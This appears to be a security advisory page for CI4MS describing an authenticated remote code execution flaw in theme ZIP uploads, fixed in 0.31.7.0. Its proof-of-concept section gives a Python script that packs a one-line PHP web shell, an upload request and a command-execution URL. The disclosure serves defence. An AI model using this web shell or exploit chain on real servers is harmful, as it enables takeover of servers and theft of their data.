ci4-cms-erp/ci4ms · CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution
Affects ci4-cms-erp/ci4msSource GCVE Database
Not known to be exploited · CVSS 8.6 High : upgrade to 0.31.7.0 soon.
Data as of 27 Oct 2026, 00:07 UTC
- Patch
- Available – fixed in 0.31.7.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 7 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade ci4-cms-erp/ci4ms to 0.31.7.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Packagistci4-cms-erp/ci4ms | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. ### Details File: `modules/Theme/Controllers/Theme.php` After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52 File: `modules/Theme/Helpers/themes_helper.php` The helper copies every file matching *.* from `public/templates/<name>/` inside the ZIP directly into `public/templates/<name>/` on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: `themes_helper.php:60-68` Because the web root is `public/`, any `.php` file placed there is directly reachable over HTTP. PHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: `themes_helper.php:31-42` The theme name is derived from the uploaded filename via `str_replace('_theme.zip', '', $file->getName())`, so uploading `evil_theme.zip` sets the theme name to evil and the install target to `public/templates/evil/`: `Theme.php:20` ### PoC Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload). Step 1 — Build the malicious ZIP: ``` import zipfile, io buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>') buf.seek(0) with open('evil_theme.zip', 'wb') as f: f.write(buf.read()) ``` Step 2 — Upload: ``` POST /backend/themes/upload Content-Type: multipart/form-data field name: theme file: evil_theme.zip ``` Step 3 — Execute: ``` GET https://target.com/templates/evil/shell.php?c=id ``` Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)). ### Impact Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root. Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.